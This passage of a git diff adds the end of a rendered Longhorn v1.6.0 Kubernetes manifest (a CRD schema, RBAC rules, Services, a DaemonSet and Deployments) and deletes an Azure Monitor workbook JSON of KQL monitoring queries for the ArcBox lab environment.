VolumeAttachment + listKind: VolumeAttachmentList + plural: volumeattachments + shortNames: + - lhva + singular: volumeattachment + scope: Namespaced + versions: + - additionalPrinterColumns: + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: VolumeAttachment stores attachment information of a Longhorn volume + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: VolumeAttachmentSpec defines the desired state of Longhorn VolumeAttachment + properties: + attachmentTickets: + additionalProperties: + properties: + generation: + description: A sequence number representing a specific generation of the desired state. Populated by the system. Read-only. + format: int64 + type: integer + id: + description: The unique ID of this attachment. Used to differentiate different attachments of the same volume. + type: string + nodeID: + description: The node that this attachment is requesting + type: string + parameters: + additionalProperties: + type: string + description: Optional additional parameter for this attachment + type: object + type: + type: string + type: object + type: object + volume: + description: The name of Longhorn volume of this VolumeAttachment + type: string + required: + - volume + type: object + status: + description: VolumeAttachmentStatus defines the observed state of Longhorn VolumeAttachment + properties: + attachmentTicketStatuses: + additionalProperties: + properties: + conditions: + description: Record any error when trying to fulfill this attachment + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + generation: + description: A sequence number representing a specific generation of the desired state. Populated by the system. Read-only. + format: int64 + type: integer + id: + description: The unique ID of this attachment. Used to differentiate different attachments of the same volume. + type: string + satisfied: + description: Indicate whether this attachment ticket has been satisfied + type: boolean + required: + - conditions + - satisfied + type: object + type: object + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/clusterrole.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: longhorn-role + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +rules: +- apiGroups: + - apiextensions.k8s.io + resources: + - customresourcedefinitions + verbs: + - "*" +- apiGroups: [""] + resources: ["pods", "events", "persistentvolumes", "persistentvolumeclaims","persistentvolumeclaims/status", "nodes", "proxy/nodes", "pods/log", "secrets", "services", "endpoints", "configmaps", "serviceaccounts"] + verbs: ["*"] +- apiGroups: [""] + resources: ["namespaces"] + verbs: ["get", "list"] +- apiGroups: ["apps"] + resources: ["daemonsets", "statefulsets", "deployments"] + verbs: ["*"] +- apiGroups: ["batch"] + resources: ["jobs", "cronjobs"] + verbs: ["*"] +- apiGroups: ["policy"] + resources: ["poddisruptionbudgets", "podsecuritypolicies"] + verbs: ["*"] +- apiGroups: ["scheduling.k8s.io"] + resources: ["priorityclasses"] + verbs: ["watch", "list"] +- apiGroups: ["storage.k8s.io"] + resources: ["storageclasses", "volumeattachments", "volumeattachments/status", "csinodes", "csidrivers"] + verbs: ["*"] +- apiGroups: ["snapshot.storage.k8s.io"] + resources: ["volumesnapshotclasses", "volumesnapshots", "volumesnapshotcontents", "volumesnapshotcontents/status"] + verbs: ["*"] +- apiGroups: ["longhorn.io"] + resources: ["volumes", "volumes/status", "engines", "engines/status", "replicas", "replicas/status", "settings", + "engineimages", "engineimages/status", "nodes", "nodes/status", "instancemanagers", "instancemanagers/status", + "sharemanagers", "sharemanagers/status", "backingimages", "backingimages/status", + "backingimagemanagers", "backingimagemanagers/status", "backingimagedatasources", "backingimagedatasources/status", + "backuptargets", "backuptargets/status", "backupvolumes", "backupvolumes/status", "backups", "backups/status", + "recurringjobs", "recurringjobs/status", "orphans", "orphans/status", "snapshots", "snapshots/status", + "supportbundles", "supportbundles/status", "systembackups", "systembackups/status", "systemrestores", "systemrestores/status", + "volumeattachments", "volumeattachments/status", "backupbackingimages", "backupbackingimages/status"] + verbs: ["*"] +- apiGroups: ["coordination.k8s.io"] + resources: ["leases"] + verbs: ["*"] +- apiGroups: ["metrics.k8s.io"] + resources: ["pods", "nodes"] + verbs: ["get", "list"] +- apiGroups: ["apiregistration.k8s.io"] + resources: ["apiservices"] + verbs: ["list", "watch"] +- apiGroups: ["admissionregistration.k8s.io"] + resources: ["mutatingwebhookconfigurations", "validatingwebhookconfigurations"] + verbs: ["get", "list", "create", "patch", "delete"] +- apiGroups: ["rbac.authorization.k8s.io"] + resources: ["roles", "rolebindings", "clusterrolebindings", "clusterroles"] + verbs: ["*"] +--- +# Source: longhorn/templates/clusterrolebinding.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: longhorn-bind + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: longhorn-role +subjects: +- kind: ServiceAccount + name: longhorn-service-account + namespace: longhorn-system +--- +# Source: longhorn/templates/clusterrolebinding.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: longhorn-support-bundle + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: cluster-admin +subjects: +- kind: ServiceAccount + name: longhorn-support-bundle + namespace: longhorn-system +--- +# Source: longhorn/templates/daemonset-sa.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-manager + name: longhorn-backend + namespace: longhorn-system +spec: + type: ClusterIP + selector: + app: longhorn-manager + ports: + - name: manager + port: 9500 + targetPort: manager +--- +# Source: longhorn/templates/deployment-ui.yaml +kind: Service +apiVersion: v1 +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-ui + name: longhorn-frontend + namespace: longhorn-system +spec: + type: LoadBalancer + selector: + app: longhorn-ui + ports: + - name: http + port: 8888 + targetPort: http + nodePort: null +--- +# Source: longhorn/templates/services.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-conversion-webhook + name: longhorn-conversion-webhook + namespace: longhorn-system +spec: + type: ClusterIP + selector: + app: longhorn-manager + ports: + - name: conversion-webhook + port: 9501 + targetPort: conversion-wh +--- +# Source: longhorn/templates/services.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-admission-webhook + name: longhorn-admission-webhook + namespace: longhorn-system +spec: + type: ClusterIP + selector: + app: longhorn-manager + ports: + - name: admission-webhook + port: 9502 + targetPort: admission-wh +--- +# Source: longhorn/templates/services.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-recovery-backend + name: longhorn-recovery-backend + namespace: longhorn-system +spec: + type: ClusterIP + selector: + app: longhorn-manager + ports: + - name: recovery-backend + port: 9503 + targetPort: recov-backend +--- +# Source: longhorn/templates/services.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + name: longhorn-engine-manager + namespace: longhorn-system +spec: + clusterIP: None + selector: + longhorn.io/component: instance-manager + longhorn.io/instance-manager-type: engine +--- +# Source: longhorn/templates/services.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + name: longhorn-replica-manager + namespace: longhorn-system +spec: + clusterIP: None + selector: + longhorn.io/component: instance-manager + longhorn.io/instance-manager-type: replica +--- +# Source: longhorn/templates/daemonset-sa.yaml +apiVersion: apps/v1 +kind: DaemonSet +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-manager + name: longhorn-manager + namespace: longhorn-system +spec: + selector: + matchLabels: + app: longhorn-manager + template: + metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-manager + spec: + containers: + - name: longhorn-manager + image: longhornio/longhorn-manager:v1.6.0 + imagePullPolicy: IfNotPresent + securityContext: + privileged: true + command: + - longhorn-manager + - -d + - daemon + - --engine-image + - "longhornio/longhorn-engine:v1.6.0" + - --instance-manager-image + - "longhornio/longhorn-instance-manager:v1.6.0" + - --share-manager-image + - "longhornio/longhorn-share-manager:v1.6.0" + - --backing-image-manager-image + - "longhornio/backing-image-manager:v1.6.0" + - --support-bundle-manager-image + - "longhornio/support-bundle-kit:v0.0.33" + - --manager-image + - "longhornio/longhorn-manager:v1.6.0" + - --service-account + - longhorn-service-account + - --upgrade-version-check + ports: + - containerPort: 9500 + name: manager + - containerPort: 9501 + name: conversion-wh + - containerPort: 9502 + name: admission-wh + - containerPort: 9503 + name: recov-backend + readinessProbe: + httpGet: + path: /v1/healthz + port: 9501 + scheme: HTTPS + volumeMounts: + - name: dev + mountPath: /host/dev/ + - name: proc + mountPath: /host/proc/ + - name: longhorn + mountPath: /var/lib/longhorn/ + mountPropagation: Bidirectional + - name: longhorn-grpc-tls + mountPath: /tls-files/ + env: + - name: POD_NAMESPACE + valueFrom: + fieldRef: + fieldPath: metadata.namespace + - name: POD_IP + valueFrom: + fieldRef: + fieldPath: status.podIP + - name: NODE_NAME + valueFrom: + fieldRef: + fieldPath: spec.nodeName + volumes: + - name: dev + hostPath: + path: /dev/ + - name: proc + hostPath: + path: /proc/ + - name: longhorn + hostPath: + path: /var/lib/longhorn/ + - name: longhorn-grpc-tls + secret: + secretName: longhorn-grpc-tls + optional: true + priorityClassName: "longhorn-critical" + serviceAccountName: longhorn-service-account + updateStrategy: + rollingUpdate: + maxUnavailable: "100%" +--- +# Source: longhorn/templates/deployment-driver.yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: longhorn-driver-deployer + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +spec: + replicas: 1 + selector: + matchLabels: + app: longhorn-driver-deployer + template: + metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-driver-deployer + spec: + initContainers: + - name: wait-longhorn-manager + image: longhornio/longhorn-manager:v1.6.0 + command: ['sh', '-c', 'while [ $(curl -m 1 -s -o /dev/null -w "%{http_code}" http://longhorn-backend:9500/v1) != "200" ]; do echo waiting; sleep 2; done'] + containers: + - name: longhorn-driver-deployer + image: longhornio/longhorn-manager:v1.6.0 + imagePullPolicy: IfNotPresent + command: + - longhorn-manager + - -d + - deploy-driver + - --manager-image + - "longhornio/longhorn-manager:v1.6.0" + - --manager-url + - http://longhorn-backend:9500/v1 + env: + - name: POD_NAMESPACE + valueFrom: + fieldRef: + fieldPath: metadata.namespace + - name: NODE_NAME + valueFrom: + fieldRef: + fieldPath: spec.nodeName + - name: SERVICE_ACCOUNT + valueFrom: + fieldRef: + fieldPath: spec.serviceAccountName + - name: CSI_ATTACHER_IMAGE + value: "longhornio/csi-attacher:v4.4.2" + - name: CSI_PROVISIONER_IMAGE + value: "longhornio/csi-provisioner:v3.6.2" + - name: CSI_NODE_DRIVER_REGISTRAR_IMAGE + value: "longhornio/csi-node-driver-registrar:v2.9.2" + - name: CSI_RESIZER_IMAGE + value: "longhornio/csi-resizer:v1.9.2" + - name: CSI_SNAPSHOTTER_IMAGE + value: "longhornio/csi-snapshotter:v6.3.2" + - name: CSI_LIVENESS_PROBE_IMAGE + value: "longhornio/livenessprobe:v2.11.0" + priorityClassName: "longhorn-critical" + serviceAccountName: longhorn-service-account + securityContext: + runAsUser: 0 +--- +# Source: longhorn/templates/deployment-ui.yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-ui + name: longhorn-ui + namespace: longhorn-system +spec: + replicas: 2 + selector: + matchLabels: + app: longhorn-ui + template: + metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-ui + spec: + serviceAccountName: longhorn-ui-service-account + affinity: + podAntiAffinity: + preferredDuringSchedulingIgnoredDuringExecution: + - weight: 1 + podAffinityTerm: + labelSelector: + matchExpressions: + - key: app + operator: In + values: + - longhorn-ui + topologyKey: kubernetes.io/hostname + containers: + - name: longhorn-ui + image: longhornio/longhorn-ui:v1.6.0 + imagePullPolicy: IfNotPresent + volumeMounts: + - name : nginx-cache + mountPath: /var/cache/nginx/ + - name : nginx-config + mountPath: /var/config/nginx/ + - name: var-run + mountPath: /var/run/ + ports: + - containerPort: 8000 + name: http + env: + - name: LONGHORN_MANAGER_IP + value: "http://longhorn-backend:9500" + - name: LONGHORN_UI_PORT + value: "8000" + volumes: + - emptyDir: {} + name: nginx-cache + - emptyDir: {} + name: nginx-config + - emptyDir: {} + name: var-run + priorityClassName: "longhorn-critical" +--- +# Source: longhorn/templates/validate-psp-install.yaml +# \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/mgmtMonitorWorkbookFull.json b/azure_jumpstart_arcbox/artifacts/mgmtMonitorWorkbookFull.json deleted file mode 100644 index 1de21157ea..0000000000 --- a/azure_jumpstart_arcbox/artifacts/mgmtMonitorWorkbookFull.json +++ /dev/null @@ -1,3117 +0,0 @@ -{ - "contentVersion": "1.0.0.0", - "parameters": { - "workbookDisplayName": { - "type": "string", - "defaultValue": "Arcbox Workbook Full", - "metadata": { - "description": "The friendly name for the workbook that is used in the Gallery or Saved List. This name must be unique within a resource group." - } - }, - "workbookType": { - "type": "string", - "defaultValue": "workbook", - "metadata": { - "description": "The gallery that the workbook will been shown under. Supported values include workbook, tsg, etc. Usually, this is 'workbook'" - } - }, - "workbookResourceId": { - "type": "string", - "defaultValue": "workbookresourceid-stage", - "metadata": { - "description": "The id of resource instance to which the workbook will be associated" - } - }, - "workbookId": { - "type": "string", - "defaultValue": "[newGuid()]", - "metadata": { - "description": "The unique guid for this workbook instance" - } - } - }, - "variables": { - "workbookContent": { - "version": "Notebook/1.0", - "items": [ - { - "type": 1, - "content": { - "json": "# Jumpstart ArcBox Workbook\r\n\r\nKeep track of your ArcBox resources by selecting one of the tabs below:\r\n____________________________________________________________________________________________________\r\n" - }, - "name": "text - 3" - }, - { - "type": 11, - "content": { - "version": "LinkItem/1.0", - "style": "tabs", - "links": [ - { - "id": "001e53e2-be76-428e-9081-da7ce60368d4", - "cellValue": "selectedTab", - "linkTarget": "parameter", - "linkLabel": "Inventory", - "subTarget": "Inventory", - "style": "link" - }, - { - "id": "547c6d68-f351-4898-bd7f-de56cd1ea984", - "cellValue": "selectedTab", - "linkTarget": "parameter", - "linkLabel": "Monitoring", - "subTarget": "Monitoring", - "style": "link" - }, - { - "id": "942dd542-ac90-4ee4-bb5d-477c931c05b4", - "cellValue": "selectedTab", - "linkTarget": "parameter", - "linkLabel": "Security", - "subTarget": "Security", - "style": "link" - } - ] - }, - "customWidth": "100", - "name": "links - 7" - }, - { - "type": 12, - "content": { - "version": "NotebookGroup/1.0", - "groupType": "editable", - "items": [ - { - "type": 1, - "content": { - "json": "" - }, - "name": "text - 4" - }, - { - "type": 1, - "content": { - "json": "## Jumpstart ArcBox Metrics and Alerts\r\n\r\n💡 Select your Azure ArcBox subscription and Resource Group to see more information." - }, - "name": "text - 1" - }, - { - "type": 9, - "content": { - "version": "KqlParameterItem/1.0", - "parameters": [ - { - "id": "1f74ed9a-e3ed-498d-bd5b-f68f3836a117", - "version": "KqlParameterItem/1.0", - "name": "Subscription", - "label": "Subscriptions", - "type": 6, - "isRequired": true, - "multiSelect": true, - "quote": "'", - "delimiter": ",", - "value": [ - "value::all" - ], - "typeSettings": { - "additionalResourceOptions": [ - "value::all" - ], - "includeAll": true, - "showDefault": false - } - }, - { - "id": "b616a3a3-4271-4208-b1a9-a92a78efed08", - "version": "KqlParameterItem/1.0", - "name": "ResourceGroups", - "label": "Resource groups", - "type": 2, - "isRequired": true, - "multiSelect": true, - "quote": "'", - "delimiter": ",", - "query": "Resources\r\n| summarize by resourceGroup\r\n| order by resourceGroup asc\r\n| project id=resourceGroup, resourceGroup", - "crossComponentResources": [ - "{Subscription}" - ], - "value": [ - "value::all" - ], - "typeSettings": { - "additionalResourceOptions": [ - "value::all" - ], - "selectAllValue": "*" - }, - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources" - }, - { - "id": "0e85e0e4-a7e8-4ea8-b291-e444c317843a", - "version": "KqlParameterItem/1.0", - "name": "ResourceTypes", - "label": "Resource types", - "type": 7, - "isRequired": true, - "multiSelect": true, - "quote": "'", - "delimiter": ",", - "query": "where \"*\" in ({ResourceGroups}) or resourceGroup in ({ResourceGroups})\r\n| summarize by type\r\n| project type, label=type\r\n", - "crossComponentResources": [ - "{Subscription}" - ], - "value": [ - "value::all" - ], - "typeSettings": { - "additionalResourceOptions": [ - "value::all" - ], - "selectAllValue": "*" - }, - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources" - }, - { - "id": "f60ea0a0-3703-44ca-a59b-df0246423f41", - "version": "KqlParameterItem/1.0", - "name": "Resources", - "type": 5, - "isRequired": true, - "multiSelect": true, - "quote": "'", - "delimiter": ",", - "query": "Resources\r\n| where \"*\" in ({ResourceTypes}) or type in~({ResourceTypes})\r\n| where '*' in~({ResourceGroups}) or resourceGroup in~({ResourceGroups}) \r\n| order by name asc\r\n| extend Rank = row_number()\r\n| project value = id, label = name, selected = Rank <= 10, group = resourceGroup", - "crossComponentResources": [ - "{Subscription}" - ], - "value": [ - "value::all" - ], - "typeSettings": { - "additionalResourceOptions": [ - "value::all" - ], - "selectAllValue": "*", - "defaultItemsText": "First 10" - }, - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources" - }, - { - "id": "015d1a5e-357f-4e01-ac77-598e7b493db0", - "version": "KqlParameterItem/1.0", - "name": "timeRange", - "label": "Time Range", - "type": 4, - "isRequired": true, - "value": { - "durationMs": 3600000 - }, - "typeSettings": { - "selectableValues": [ - { - "durationMs": 300000 - }, - { - "durationMs": 900000 - }, - { - "durationMs": 1800000 - }, - { - "durationMs": 3600000 - }, - { - "durationMs": 14400000 - }, - { - "durationMs": 43200000 - }, - { - "durationMs": 86400000 - }, - { - "durationMs": 172800000 - }, - { - "durationMs": 259200000 - }, - { - "durationMs": 604800000 - }, - { - "durationMs": 1209600000 - }, - { - "durationMs": 2419200000 - }, - { - "durationMs": 2592000000 - } - ], - "allowCustom": true - } - }, - { - "id": "bd6d6075-dc8f-43d3-829f-7e2245a3eb21", - "version": "KqlParameterItem/1.0", - "name": "State", - "type": 2, - "isRequired": true, - "multiSelect": true, - "quote": "'", - "delimiter": ",", - "query": "{\"version\":\"1.0.0\",\"content\":\"[ \\r\\n {\\\"id\\\":\\\"New\\\", \\\"label\\\": \\\"New\\\"},\\r\\n {\\\"id\\\":\\\"Acknowledged\\\", \\\"label\\\": \\\"Acknowledged\\\"},\\r\\n {\\\"id\\\":\\\"Closed\\\", \\\"label\\\": \\\"Closed\\\"}\\r\\n]\",\"transformers\":null}", - "crossComponentResources": [ - "{Subscription}" - ], - "value": [ - "value::all" - ], - "typeSettings": { - "additionalResourceOptions": [ - "value::all" - ], - "selectAllValue": "*", - "showDefault": false - }, - "queryType": 8 - } - ], - "style": "above", - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces" - }, - "name": "parameters" - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "AlertsManagementResources | where type =~ 'microsoft.alertsmanagement/alerts'\r\n| where todatetime(properties.essentials.startDateTime) {timeRange} \r\n| where \"*\" in ({ResourceGroups}) or properties.essentials.targetResourceGroup in~ ({ResourceGroups})\r\n| where \"*\" in ({ResourceTypes}) or properties.essentials.targetResourceType in~ ({ResourceTypes})\r\n| where \"*\" in ({Resources}) or properties.essentials.targetResource in~ ({Resources})\r\n| extend State=tostring(properties.essentials.alertState)\r\n| where \"*\" in ({State}) or State in ({State})\r\n| summarize Count=count(), New=countif(State==\"New\"), \r\nAcknowledged=countif(State==\"Acknowledged\"), \r\nClosed=countif(State==\"Closed\") \r\nby Severity=tostring(properties.essentials.severity)\r\n| order by Severity asc", - "size": 3, - "title": "Alert Summary", - "noDataMessage": "No alerts found", - "exportMultipleValues": true, - "exportedParameters": [ - { - "fieldName": "Severity", - "parameterName": "Severity", - "parameterType": 1 - } - ], - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources", - "crossComponentResources": [ - "{Subscription}" - ], - "gridSettings": { - "formatters": [ - { - "columnMatch": "Severity", - "formatter": 11 - }, - { - "columnMatch": "Count", - "formatter": 3, - "formatOptions": { - "min": 0, - "palette": "blue", - "aggregation": "Sum" - }, - "numberFormat": { - "unit": 17, - "options": { - "style": "decimal", - "maximumFractionDigits": 2 - } - } - }, - { - "columnMatch": "State", - "formatter": 1 - } - ] - } - }, - "showPin": true, - "name": "query - 6" - }, - { - "type": 1, - "content": { - "json": "## Azure Arc-enabled servers" - }, - "name": "text - 8" - }, - { - "type": 9, - "content": { - "version": "KqlParameterItem/1.0", - "crossComponentResources": [ - "value::all" - ], - "parameters": [ - { - "id": "7b9de45f-92d6-4aaf-82a6-9224aa2dc02f", - "version": "KqlParameterItem/1.0", - "name": "Subscription", - "type": 6, - "value": "/subscriptions/5af250db-aef1-46f9-8296-7a373a4b2801", - "typeSettings": { - "additionalResourceOptions": [], - "includeAll": false - } - }, - { - "id": "7e70122d-415c-49f2-bba5-f3a18eb5c58e", - "version": "KqlParameterItem/1.0", - "name": "ResourceGroup", - "type": 2, - "query": "Resources\r\n\r\n| summarize Count = count() by subscriptionId, resourceGroup\r\n| order by Count desc\r\n| extend Rank = row_number()\r\n| project label = resourceGroup", - "crossComponentResources": [ - "{Subscription}" - ], - "value": "{resourceGroup}", - "typeSettings": { - "additionalResourceOptions": [], - "showDefault": false - }, - "timeContext": { - "durationMs": 86400000 - }, - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources" - }, - { - "id": "ae721cb1-e030-4e02-8839-9c6a00f66c8a", - "version": "KqlParameterItem/1.0", - "name": "Workspace", - "type": 5, - "description": "Select at least one workspace that contains continuous export data based on the selected subscriptions", - "isRequired": true, - "query": "resources\r\n| where type =~ 'microsoft.operationalinsights/workspaces' and resourceGroup == '{ResourceGroup}'\r\n| project id", - "crossComponentResources": [ - "{Subscription}" - ], - "typeSettings": { - "resourceTypeFilter": { - "microsoft.operationalinsights/workspaces": true - }, - "additionalResourceOptions": [], - "showDefault": false - }, - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources", - "value": null - }, - { - "id": "71c18150-396c-4f92-a41f-18125550ec3d", - "version": "KqlParameterItem/1.0", - "name": "ArcServer", - "label": "Azure Arc-enabled server", - "type": 5, - "isRequired": true, - "query": "resources\r\n| where type == \"microsoft.hybridcompute/machines\" and resourceGroup == '{ResourceGroup}'\r\n| project name", - "crossComponentResources": [ - "{Subscription}" - ], - "typeSettings": { - "additionalResourceOptions": [], - "showDefault": false - }, - "timeContext": { - "durationMs": 86400000 - }, - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources", - "value": null - }, - { - "id": "f21caac6-fae7-44b5-ba4f-a2d3593953b0", - "version": "KqlParameterItem/1.0", - "name": "TimeRange", - "type": 4, - "isRequired": true, - "value": { - "durationMs": 2419200000 - }, - "typeSettings": { - "selectableValues": [ - { - "durationMs": 300000 - }, - { - "durationMs": 900000 - }, - { - "durationMs": 1800000 - }, - { - "durationMs": 3600000 - }, - { - "durationMs": 14400000 - }, - { - "durationMs": 43200000 - }, - { - "durationMs": 86400000 - }, - { - "durationMs": 172800000 - }, - { - "durationMs": 259200000 - }, - { - "durationMs": 604800000 - }, - { - "durationMs": 1209600000 - }, - { - "durationMs": 2419200000 - }, - { - "durationMs": 2592000000 - }, - { - "durationMs": 5184000000 - }, - { - "durationMs": 7776000000 - } - ] - }, - "timeContext": { - "durationMs": 86400000 - } - } - ], - "style": "pills", - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources" - }, - "name": "parameters - 6" - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "InsightsMetrics\r\n| where TimeGenerated {TimeRange}\r\n| where Computer =~ \"{ArcServer}\"\r\n| where Namespace == 'Processor' and Name == 'UtilizationPercentage'\r\n| summarize Average = round(avg(Val), 2),P95th = round(percentile(Val, 95), 2) by bin(TimeGenerated, totimespan('00:14:24'))", - "size": 0, - "title": "Azure Arc-enabled servers - CPU Utilization %", - "timeContext": { - "durationMs": 86400000 - }, - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "{Workspace}" - ], - "visualization": "timechart" - }, - "customWidth": "50", - "name": "query - 6", - "styleSettings": { - "maxWidth": "50" - } - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "InsightsMetrics\r\n | where Namespace == 'Memory' and Name == 'AvailableMB'\r\n | where TimeGenerated {TimeRange}\r\n| where Computer =~ \"{ArcServer}\"\r\n| summarize Average = round(avg(Val), 2),P5th = round(percentile(Val, 5), 2),P10th = round(percentile(Val, 10), 2) by bin(TimeGenerated, totimespan('00:14:24'))\r\n | top 10 by P5th asc", - "size": 0, - "title": "Azure Arc-enabled servers - Available Memory MB", - "timeContext": { - "durationMs": 86400000 - }, - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "{Workspace}" - ], - "visualization": "timechart" - }, - "customWidth": "50", - "name": "query - 8", - "styleSettings": { - "maxWidth": "90" - } - }, - { - "type": 1, - "content": { - "json": "## Azure Arc-enabled Kubernetes" - }, - "name": "text - 9" - }, - { - "type": 9, - "content": { - "version": "KqlParameterItem/1.0", - "crossComponentResources": [ - "/subscriptions//resourceGroups//providers/Microsoft.OperationalInsights/workspaces/" - ], - "parameters": [ - { - "id": "e2b5cd30-7276-477f-a6bb-07da25ba5e5f", - "version": "KqlParameterItem/1.0", - "name": "timeRange", - "label": "Time Range", - "type": 4, - "description": "Filter data by time range", - "isRequired": true, - "value": { - "durationMs": 7776000000 - }, - "typeSettings": { - "selectableValues": [ - { - "durationMs": 300000 - }, - { - "durationMs": 900000 - }, - { - "durationMs": 1800000 - }, - { - "durationMs": 3600000 - }, - { - "durationMs": 14400000 - }, - { - "durationMs": 43200000 - }, - { - "durationMs": 86400000 - }, - { - "durationMs": 172800000 - }, - { - "durationMs": 259200000 - }, - { - "durationMs": 604800000 - }, - { - "durationMs": 1209600000 - }, - { - "durationMs": 2419200000 - }, - { - "durationMs": 2592000000 - }, - { - "durationMs": 5184000000 - }, - { - "durationMs": 7776000000 - } - ], - "allowCustom": true - } - }, - { - "id": "b8b76ad0-de1a-4b7c-90a8-f4eb277bb878", - "version": "KqlParameterItem/1.0", - "name": "subscription", - "label": "Subscription", - "type": 6, - "isRequired": true, - "value": null, - "typeSettings": { - "additionalResourceOptions": [], - "includeAll": true, - "showDefault": false - }, - "timeContext": { - "durationMs": 7776000000 - }, - "timeContextFromParameter": "timeRange" - }, - { - "id": "6b8d59ca-08c5-40fb-9962-5061b3e6e779", - "version": "KqlParameterItem/1.0", - "name": "LoganalyticWorkspace", - "label": "Log Analytics Workspace", - "type": 5, - "isRequired": true, - "query": "resources\r\n| where type contains 'microsoft.operationalinsights/workspaces'\r\n| project id", - "crossComponentResources": [ - "{subscription}" - ], - "value": "/subscriptions//resourceGroups//providers/Microsoft.OperationalInsights/workspaces/", - "typeSettings": { - "additionalResourceOptions": [], - "showDefault": false - }, - "timeContext": { - "durationMs": 0 - }, - "timeContextFromParameter": "timeRange", - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources" - }, - { - "id": "7aa94d19-4c5b-40e2-b14f-e29736a8f90c", - "version": "KqlParameterItem/1.0", - "name": "resource", - "label": "Azure Arc-enabled Kubernetes cluster", - "type": 5, - "isRequired": true, - "query": " Resources\r\n | where type =~ 'microsoft.kubernetes/connectedclusters'\r\n | project id", - "crossComponentResources": [ - "{subscription}" - ], - "value": "/subscriptions//resourceGroups/Arc-ML-demo/providers/Microsoft.Kubernetes/connectedClusters/Arc-AML-AKS", - "typeSettings": { - "additionalResourceOptions": [], - "showDefault": false - }, - "timeContext": { - "durationMs": 0 - }, - "timeContextFromParameter": "timeRange", - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources" - }, - { - "id": "3a3fdabe-6173-4e2b-8658-38c0195fd7e2", - "version": "KqlParameterItem/1.0", - "name": "resourceType", - "type": 7, - "isRequired": true, - "query": "{\"version\":\"1.0.0\",\"content\":\"\\\"{resource:resourcetype}\\\"\",\"transformers\":null}", - "isHiddenWhenLocked": true, 